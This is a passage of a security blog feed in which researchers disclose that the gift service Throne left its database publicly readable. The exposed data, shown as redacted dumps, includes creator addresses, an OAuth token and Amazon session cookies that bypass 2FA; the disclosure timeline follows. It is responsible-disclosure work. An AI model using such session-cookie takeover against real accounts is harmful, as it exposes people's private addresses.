&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;geo&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lat&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;.██████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lng&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-80&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;.█████&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;phone&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;US&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hasIssue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;reference&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;creator&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████ ██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;searchablePostcode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/gsheetsOAuthToken&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;access_token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ya29.████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;expires_in&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;3599&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;token_type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Bearer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;scope&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://www.googleapis.com/auth/spreadsheets&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;expires_at&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;refresh_token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/trackedAmazonAccounts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;trackedAmazonAccounts&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;co.uk&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon UK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon FR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fr&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon IT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;it&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;session-id=███████████████; ubid-acbde=███████████████; av-timezone=Europe/Berlin; csd-key=e████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; sp-cdn=J4F7; lc-acbde=en_GB; session-token=████████████████████████████████████████████████████████████; x-acbde=\&amp;#34;████████████████████████████████████████████████████████████\&amp;#34;; at-acbde=████████████████████████████████████████████████████████████; sess-at-acbde=\&amp;#34;███████████████████████\&amp;#34;; sst-acbde=████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; i18n-prefs=EUR; csm-hit=████████████████████████████████████████████████████████████&amp;amp;adb:adblk_yes; session-id-time=██████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon DE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;es&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon ES&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon US&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Most of these credentials were expired or useless without further context.&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;
Unfortunately, there also were session cookies for a bunch of Amazon accounts.&lt;/p&gt;
&lt;p&gt;While we like cookies in general, these are not the tasty ones.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;🍪 Cookies are a technology that allows websites to store a bit of information in users&amp;rsquo; browsers.
For example, a website can say, &amp;ldquo;Great, you successfully logged in with your password. Here&amp;rsquo;s a very special cookie. If you show it to me, I&amp;rsquo;ll always know who you are. So don&amp;rsquo;t give it to anyone else.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;If you have enabled two factor authentification (2FA) on an account&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, the website also remembers this with the cookies it gave you - and doesn&amp;rsquo;t ask each time.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;2FA is a important security precaution and you should really use it anywhere it is possible.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But Throne didn&amp;rsquo;t keep these cookies to themselves.
Instead, they allowed &lt;em&gt;everyone&lt;/em&gt; to read them from their database.
And anyone who has these cookies can show them to Amazon – and is authenticated as Throne.&lt;/p&gt;
&lt;p&gt;This even works if two factor authentification (2FA) is enabled for the account, as the cookies store that you already completed 2FA.&lt;/p&gt;
&lt;p&gt;Since we are now logged in as Throne, we can look at all orders they placed on Amazon - and of course, this includes &lt;strong&gt;the delivery addresses of the creators&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/amazonorders.png&#34; alt=&#34;Redacted Screenshot of an Overview of Amazon Orders&#34;&gt;&lt;/p&gt;
&lt;p&gt;Throne saved these cookies in a sub-collection named &lt;code&gt;trackedAmazonAccounts&lt;/code&gt;.
This suggests that they use the cookies to allow a system to automatically check the status of the order and allow gift recipients to &lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406489454484-Can-I-get-tracking-for-my-shipment-&#34;&gt;track the shipment&lt;/a&gt;.
However, this does not excuse the publication of the cookies to the whole world.&lt;/p&gt;
&lt;h2 id=&#34;ding-dong&#34;&gt;Ding-dong&lt;/h2&gt;
&lt;p&gt;After we found the security issue, we put together a report and sent it to Throne, CERT-Bund (the German federal computer emergency response team) and Berlin&amp;rsquo;s data protection authority&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;About 45 minutes later, they informed us that they closed the security vulnerability.&lt;/p&gt;
&lt;p&gt;That was pretty fast – even for startups, which often brag about their agility.
And Throne&amp;rsquo;s next steps seemed sensible:
Invalidate the Amazon cookies to make them unusable and try to check if anyone else has exploited the loophole.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Also, Throne added a &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt; to their website following the recommendations in our report.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;security.txt&lt;/code&gt; is a standardized file for specifying contact details for security issues.
Website operators can publish one to let security researchers know where to report a security vulnerability.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&#34;better-safe-than-sorry&#34;&gt;Better safe than sorry&lt;/h2&gt;
&lt;p&gt;Throne also &lt;a href=&#34;https://blog.throne.com/security-update-firestore-rules/&#34;&gt;published a blogpost&lt;/a&gt; on the incident.
Unfortunately, they decided to downplay the issue and it&amp;rsquo;s implications.&lt;/p&gt;
&lt;p&gt;Throne claims:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;we investigated if users were affected and if there was any risk to personal data. Using IP logs we discovered that there was no risk and no unknown party had viewed any data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We don&amp;rsquo;t know how exactly Throne determined this – they never asked for our IPs or any other identifiers to reliably attribute the access to us.&lt;/p&gt;
&lt;p&gt;And even if they were able to attribute all queries: We could still access the data.
We may no longer be an &amp;ldquo;unknown party&amp;rdquo; - after all we reached out to Throne.
But we aren&amp;rsquo;t authorized to have access to this private information.
And less wellmeaning actors could have done a lot of damage with this data.&lt;/p&gt;
&lt;h2 id=&#34;move-slow-enough---so-you-dont-endanger-people&#34;&gt;Move slow enough - so you don&amp;rsquo;t endanger people!&lt;/h2&gt;
&lt;p&gt;In addition, however, a quick response to a security report is not enough:
Once you&amp;rsquo;ve received the report it&amp;rsquo;s already too late.
&lt;em&gt;One&lt;/em&gt; such mistake can endanger many people – and it leads the whole privacy-claim of Throne ad absurdum.&lt;/p&gt;
&lt;p&gt;Startups love the mantra &amp;ldquo;move fast and break things&amp;rdquo;.
But when it comes to personal data, this is exactly the wrong approach.
Privacy and security require a comprehensive strategy. This includes a well-thought-out software architecture and experience with the rough edges of the frameworks.
All of this takes money and - often even more scarce for startups - time.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;We reported on this issue together with TechCrunch.
Their article can be found &lt;a href=&#34;https://techcrunch.com/2023/04/06/throne-security-bug-creators-address/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2023-03-29: We&amp;rsquo;ve found the issues&lt;/li&gt;
&lt;li&gt;2023-03-30: Report to Throne, Berlin State Data Protection Commissioner and CERT-Bund.&lt;/li&gt;
&lt;li&gt;2023-03-30: Response from Throne, short phonecall with them&lt;/li&gt;
&lt;li&gt;2023-03-30: Throne reports that the issues have been fixed &amp;amp; further steps are planned&lt;/li&gt;
&lt;li&gt;2023-03-31: Throne publishes security.txt&lt;/li&gt;
&lt;li&gt;2023-04-05: Throne notifies their users&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;disclaimer&#34;&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;Two members of zerforschung know one of the founders of Throne, but had no contact with him for several years prior to the discovery of the vulnerability.&lt;/p&gt;
&lt;p&gt;After reporting the vulnerability, Throne bought us an electric tool we had on our Amazon wish list.
We have never asked Throne or any other company we reported vulnerabilities to for money or gifts.&lt;/p&gt;
&lt;p&gt;Neither of this is influencing our current or future reporting on Throne.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/&#34;&gt;https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge-&#34;&gt;https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge-&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Although, we&amp;rsquo;re not sure if they intended to display the user flag &lt;code&gt;isUnderInvestigation&lt;/code&gt; 🤔&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Weird, aren&amp;rsquo;t conversion rates changing all the time? Not particularly &lt;em&gt;constant&lt;/em&gt; data…&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;For example, we found API keys for Google Spreadsheets. As far as we understood, we can&amp;rsquo;t do anything with those without knowing a document ID.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Thrones german subsidary is based in Berlin.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Geschenke, Geschenke, Geschenke!</title>
      <link>https://zerforschung.org/posts/throne-de/</link>
      <pubDate>Fri, 07 Apr 2023 16:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/throne-de/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/throne-header.jpg&#34; alt=&#34;Brennende Geschenkebox zwischen Bauklötzen&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/throne-en/&#34;&gt;This article was also published in english&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Wer Videos dreht und ins Internet stellt, freut sich über Liebe von seinen Fans – gerne auch in Form von Geschenken. Von technischem Equipment über Energydrinks bis hin zu Kleidung, der Kreativität sind keine Grenzen gesetzt. Die eigene Wohnadresse sollte aber besser nirgendwo landen, wo sie übereifrige Fans oder bösartige Stalker finden könnten. Deshalb gibt es Dienste, die einem beides ermöglichen wollen: Einerseits Geschenke bekommen und andererseits seine Adresse nicht dem gesamten Internet verraten zu müssen.&lt;/p&gt;
&lt;p&gt;Problematisch wird&amp;rsquo;s, wenn so ein Dienst dabei Mist baut und diese Adressen doch leakt. Genau das ist aber passiert. Wie es dazu kam…&lt;/p&gt;
&lt;p&gt;Kochen, Nähen, ASMR, Erotik oder alles gleichzeitig – im Internet bringt das Klicks. Diverse Plattformen wie TikTok, Twitch, YouTube oder FurAffinity leben davon, dass Menschen sich als »Content Creator« betätigen. Die einen sehen es als Hobby, andere verdienen damit ihr Geld. Mal mit Live-Streaming, mal mit vorproduzierten Videos. Und fast alle lassen sich gerne von ihren Fans unterstützen.&lt;/p&gt;
&lt;h2 id=&#34;himmel--hölle--das-internet&#34;&gt;Himmel + Hölle = das Internet&lt;/h2&gt;
